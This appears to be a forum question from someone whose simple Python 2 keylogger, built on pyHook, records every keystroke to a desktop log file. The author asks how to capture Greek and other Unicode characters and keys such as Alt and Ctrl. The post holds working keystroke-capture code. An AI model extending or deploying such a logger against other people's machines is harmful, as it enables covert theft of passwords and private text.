I created a simple keylogging program. Everything that is typed on keyboard is sent to a log.txt file. The problem is that my code works only for ASCII code. When I type greek characters , they get treated as english.
I want my code to:
- Accept Greek characters or other languages,too (Generally all kind of characters)
- Log events such us Alt, Ctrl etc
My code so far:
import pyHook , pythoncom , sys , logging , os
file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt"
f = open(file_log , 'w')
try:
f.seek(0)
f.truncate()
finally:
f.close()
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
key = chr(event.Ascii)
print key
if (key == 'p'):
os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt")
sys.exit()
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Should my program accept Unicode?
How can it do so?